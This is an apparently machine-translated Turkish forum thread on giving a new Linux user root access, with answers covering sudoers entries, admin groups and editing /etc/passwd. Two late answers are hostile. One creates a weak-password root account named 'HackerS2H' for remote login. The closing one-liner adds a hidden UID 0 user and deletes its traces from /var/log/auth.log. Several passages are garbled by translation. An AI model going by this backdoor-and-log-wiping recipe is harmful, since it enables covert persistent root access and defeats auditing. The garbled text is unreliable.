Yeni kullanıcı eklemek ve bu yeni kullanıcıya tüm root erişimine sahip olmak / vermek istiyorum, bunu nasıl yapabilirim?
Yaptım sudo adduser --system testuser
ama bu beklediğim gibi çalışmıyor.
Yardım için teşekkürler.
Yeni kullanıcı eklemek ve bu yeni kullanıcıya tüm root erişimine sahip olmak / vermek istiyorum, bunu nasıl yapabilirim?
Yaptım sudo adduser --system testuser
ama bu beklediğim gibi çalışmıyor.
Yardım için teşekkürler.
Yanıtlar:
Bunu yapmanın üç yolu var: doğru yol, yanlış yol ve çirkin yol.
İlk önce normal bir kullanıcı hesabı oluşturun.
adduser username
Sonra aşağıdakilerden birini seçin:
Bu sudo
şekilde wheel
grup için bir giriş oluşturun /etc/sudoers
:
## Allows people in group wheel to run all commands
%wheel ALL=(ALL) ALL
Veya "modern" versiyonlar için:
## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL) ALL
Sonra kullanıcıyı wheel
gruba ekleyin . Yönetici ayrıcalıklarına sahip kullanıcıları eklemek ve kaldırmak şimdi, sudo'da bir giriş oluşturmak yerine, bunları çarka eklemeyi hatırlamanın bir işlevi haline geliyor. Tekerleği kullanmanın en iyi yanı, bu mekanizmayı grupları destekleyen (örneğin, winbind / Active Directory) destekleyen diğer kimlik doğrulama şemalarına genişletebilmeniz ve işlemdeki avantajlardan yararlanabilmenizdir. Bunu, kimlik doğrulama şemanızdaki yönetici ayrıcalıklarına sahip bir gruba eşleme tekerleği eşleyerek gerçekleştirirsiniz.
Bazı dağıtımların farklı yönetim hesapları kullandığını unutmayın. Tekerlek buna bir "geleneksel" yaklaşımı, ancak karşılaşabileceğiniz admin
, adm
ve aynı amaca hizmet diğer grup hesapları.
Takip Düzenle:
Ubuntu'nun bu amaçla grup olarak kullandığını belirttiği için Bart Silverstrim'e bir puan vermem gerekiyor admin
. İlk önce buna başladı, fakat o sırada bir Ubuntu etiketi görmedim. Yine, bunların tümü hangi dağıtımı kullandığınıza bağlıdır.
Söz konusu kullanıcı hesabı için bir sudo girişi oluşturun ve sonra tam erişim verin. Yine, girişi şöyle yaratırsınız /etc/sudoers
:
## Allows just user "username" to run all commands as root
username ALL=(ALL) ALL
EKLENDİ: ## Ubuntu sürümü için: username ALL = (ALL: ALL)
Yalnızca bir (veya iki) normal hesabınız varsa bu harika. Birden fazla (jeofiziksel) site üzerinde yüz tane hesabınız olduğunda ve sudo dosyasını sürekli olarak tutmanız gerektiğinde çirkindir.
/etc/passwd
Dosyayı düzenleyebilir ve kullanıcı hesap kimliğini, hangi numaradan olduğu ile değiştirebilirsiniz 0
. Bu doğru, sıfır .
username:x:0:502::/home/username:/bin/bash
Bu üçüncü girişi sıfır olarak gördün mü? Bu hesaba giriş yaptığınızda, tüm etkili amaçlar için root
. Bunu tavsiye etmiyorum. Kim olduğunuzu "kim" hatırlamıyorsanız, dosya oluşturmaya ve dokunmaya başladığınızda her türlü tahribatı oluşturabilirsiniz root
. Ayrıca kullanıcı adınızı root
gruba ekleyebilirsiniz . Bu dosya erişimi için aynı etkiye sahiptir, ancak başka sorunlar da yaratır; programlar sizin kullanıcı olmadığınızı root
ve çalışmayı reddettiğinizi fark edecek , ancak gruba ait dosyalara erişeceksiniz root
.
Bunu yaptıysanız vipw
, sadece düzenlemek yerine, kullandınız vi
mı? (veya en sevdiğiniz metin editörü ne olursa olsun) Sonuçta, bu dosyadaki tek bir yazım hatası sizi sisteminizden uzaklaştırabilir - ve bu, söz konusu bilgisayarı bir onarım diskiyle fiziksel olarak ziyaret etmeniz anlamına gelir ...
Bunu yıllardır kullanıyorum ve AskUbuntu'ya bir sudoer eklemenin 1 numaralı yolu :
adduser existinguser sudo
Dosyaları düzenlemekten çok daha basit ve katılımsız yükleme için bir kabuk betiğine atmak kolaydır.
Kullanıcıyı oluşturmak ve sudo ayrıcalıkları vermek istiyorsanız, bunu aşağıdaki gibi bir satırda yapabilirsiniz:
useradd newuser -m -G sudo
passwd newuser
-m
bir giriş dizini oluşturdu ve -G
ek bir grup belirler.
ve bununla birlikte% 100:
adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456
ve macun ve ip sunucusuyla bağlantı kurun
Eklenti ile kullanıcı yaratabilirsiniz, bkz. Man adduser.
Sonra root veya wheel gibi ayrıcalıklı gruba ekleyebilirsiniz. Ama bence izin almanın en çok tavsiye edilen yolu sudo kullanmak.
"Çirkin ve dağınık" yol, / etc / passwd'yi yeni kullanıcı için UID = 0 AND GID = 0 olacak şekilde düzenlemektir. Ancak bu, çok sayıda güvenlik riski taşımaktadır . Kök ise, sözleşmenizi devre dışı bırakabilir, şifrenizi değiştirebilir, sizi "standart bir kullanıcı" yapabilir ... doğru mu? Peki neden ona sadece kendi hesabını vermiyorsun?
Ona komutların bir kısmına kök erişimi vermek istiyorsanız, suid'in nasıl çalıştığını ( http://en.wikipedia.org/wiki/Setuid ) çalışabilirsiniz .
İşte bir liner:
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
En iyi,